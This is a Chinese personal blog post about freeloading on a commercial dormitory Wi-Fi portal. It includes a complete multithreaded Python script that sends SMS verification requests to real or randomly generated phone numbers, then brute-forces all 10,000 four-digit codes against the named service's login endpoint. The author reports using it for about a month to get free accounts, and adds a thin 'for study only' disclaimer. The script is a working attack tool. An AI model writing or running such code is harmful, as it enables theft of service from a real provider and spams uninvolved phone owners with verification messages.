声明
这个我已经用不到了,但是之前确实使用过一段时间,后来良心发现,就不再使用了。
注意
当然,此代码仅用于requests库的使用学习交流,切勿用于非法用途,如有侵权,请联系站长。
起源
那时候的我,被迫去了昆山某某电子厂,整天累的要死不说,还面临着人生的转折,虽然那时候我没有做出傻事,我还活着,但是,那时候的我,心态真的很差。。。
what is
那个员工宿舍有无线网,还是包月的,本来一天一大半的时间就在流水线上,剩下时间睡个觉不香嘛,但是偶尔休息,上个网,网速也很差劲,但是催生了一个邪恶的念想,就是钻漏子,毕竟新用户可以免费使用一天,全国那么多手机号,验证码就4个数字,从0000-9999不就完了么。
过程
- 拿出最拿手的易语言,写了个GUI页面,模拟点击事件,但是移植性太差了,多线程还不稳定,那就换。
- python,人生苦短,我用python,我清晰的记得,那天凌晨4点半,天微微亮,我终于实现了这段代码,并且引用了多线程,这样就可以更快的破解出验证码了。
- 总不能天天抱着电脑吧,手机上安装termux,配置好python和pip环境,通过sftp传输到手机上,一路回车就好。
- 白嫖了一个月左右的账号。
代码
# encoding:utf-8
import sys
import io
import requests
import random
import sys
import threading, time
from past.builtins import raw_input
import pyperclip
over = 0
threadpool = []
tel = ""
start_position = 0
err_dic = []
tel_s = [
139, 138, 137, 136, 135, 134, 147, 150, 151, 152,
157, 158, 159, 178, 182, 183, 184, 187, 188, 198,
130, 131, 132, 155, 156, 166, 185, 186, 145, 176,
133, 153, 177, 173, 180, 181, 189, 199]
def post(tel, psw):
global done
global d
postdata = {'telephone': tel, 'loginFrom': '0', 'authCode': psw}
url = 'http://magicwifi.com.cn/portal/v2/submitLogin'
headers = {'Host': 'magicwifi.com.cn',
'Accept-Language': 'zh-CN,zh;q=0.9',
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
'Connection': 'keep-alive',
'Content-Length': '75',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Encoding': 'gzip, deflate',
'Origin': 'http://magicwifi.com.cn/',
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) '
'Chrome/50.0.2661.102 UBrowser/6.0.1471.813 Safari/537.36',
'Referer': 'http://magicwifi.com.cn/portal/v2/login',
'Cookie': 'portal_first_enter_paramter="?deviceMac=112233445544&terminalMac=aabbcc112244&ran="; '
'notice_url=""; portal_pay_deviceMac=112233445544; portal_pay_terminalMac=aabbcc112244;'
' portal_pay_loginFrom=0;'
' portal_pay_gwAddress=""; portal_pay_gwPort=0; portal_pay_gwType=0; portal_client_type=2; '
'cookie_login_account_v3=""; SRV=s1'
}
try:
d = requests.post(url, data=postdata, headers=headers)
except:
err_dic.append(psw)
if d.text == '{"msg":"Success","redirectUrl":"","msgCode":"00","status":-4,"addition":""}':
# mutex = threading.Lock()
# mutex.acquire()
if not done:
sys.stdout.write('{}\n'.format('[!] 错误的验证码 ' + '进度' + psw + " 返回数据:" + d.text))
# mutex.release()
else:
done = True
with open('psw.txt', 'a')as g:
pyperclip.copy(tel)
s = str(time.strftime("%Y-%m-%d %H:%M:%S",
time.localtime())) + "\n" + "手机号为:" + tel + "\n验证码为:" + psw + "\n"
g.write(s)
g.close()
print("--------------------------------------------------------------------------------------------")
print("[✔] 恭喜你,密码已经成功爆破:\n手机号为:" + tel + "\n验证码为:" + psw + "\n"+"手机号已经复制到剪辑版,请记住验证码\n", end='')
print("--------------------------------------------------------------------------------------------")
threadpool.clear()
def thread_start():
print("--------------------------------------------------------------------------------------------")
global start_position, done
print('[*] tel:' + str(tel) + "\n" + '[*] thread:' + str(
thread) + '\n' + "[*] Sent Message: " + message + "\n" + "[*] start position: " + str(start_position))
sys.stdout.flush()
time.sleep(1)
str1 = start_position
print("--------------------------------------------------------------------------------------------")
for num in range(int(start_position), 10000):
th = threading.Thread(target=post, args=(tel, str1))
threadpool.append(th)
if num < 10:
str1 = '000' + str(num)
else:
if num < 100:
str1 = '00' + str(num)
else:
if num < 1000:
str1 = '0' + str(num)
else:
str1 = str(num)
for th in threadpool:
if done :
break
th.setDaemon(False)
th.start()
sys.stdout.flush()
while threading.active_count() >= int(thread):
time.sleep(0.1)
if (over == 1):
break
def sent_psw(tel):
print("[*] 正在发送手机验证码")
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf8') # 改变标准输出的默认编码
url = 'http://magicwifi.com.cn/portal/v2/getAuthCode?portalQueryStr=&terminalMac=aabbcc112244' \
'&deviceMac=112233445544&telephone=' + tel + '&send=0&com_=com_'
cookie_str = r'SESSIONID=xxxxxxxxxxxxxxxxxxxxxx; iPlanetDirectoryPro=xxxxxxxxxxxxxxxxxx'
cookies = {}
for line in cookie_str.split(';'):
key, value = line.split('=', 1)
cookies[key] = value
headers = {
'User-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112'
'.113 Safari/537.36'}
resp = requests.get(url, headers=headers, cookies=cookies)
print("[*] 返回数据:" + resp.content.decode('utf-8'))
global message
if resp.content.decode('utf-8') == '{"status":1,"msg":"Success","msgCode":"00"}':
print("[*] 理论上成功")
message = 'Yes'
thread_start()
else:
print("[*] 理论失败,是否继续?如果没有发送过验证码,将会无法破解。(Y=YES,N=NO)")
message = 'No'
while (1):
yon = input()
if (yon == 'Y' or yon == 'y'):
thread_start()
break
else:
if (yon == 'n' or yon == 'N'):
message = 'No'
exit(0)
def ver_1(tel):
for i in tel_s:
if str[0:3] == tel_s[i]:
return True
return False
if __name__ == "__main__":
global done
done = False
global thread
print("--------------------------------------------------------------------------------------------")
while True:
tel = input("[#] 请输入欲爆破的手机号:(不输入为随机)")
if tel == "":
tel = str(tel_s[random.randint(0, 38)]) + str(random.randint(10000000, 99999999))
print("[!] 生成手机号为:" + tel)
break
else:
if len(tel) == 11 and (tel):
print("[!] 手机号为:" + tel)
break
else:
print("[!] 请输入合法手机号")
continue
while True:
thread = raw_input("[#] 请输入线程数(默认是15)")
if thread == '':
thread = 15
break
try:
if int(thread) <= 0:
print("[!] 线程数量最少是1")
continue
except:
print("[!] 非法字符,请输入大于0的整数")
continue
break
print("[!] 线程数:" + str(thread))
while True:
start_position = raw_input("[#] 请输入起始位置")
try:
if start_position == '':
start_position = '0000'
break
if 0 < int(start_position) < 10000:
break
except:
print("[!] 非法字符,请输入大于或等于0,小于10000的整数")
continue
break
print("[!] 起始位置:" + str(start_position))
while True:
yon = input("[#] 是否发送短信验证码?如果没有发送过验证码,将会无法破解。(Y=YES,N=NO 默认发送)")
if yon == 'Y' or yon == 'y' or yon=="":
sent_psw(tel)
break
else:
if yon == 'n' or yon == 'N':
global message
message = 'No'
thread_start()
break


评论 0
还没有评论,来说点什么吧。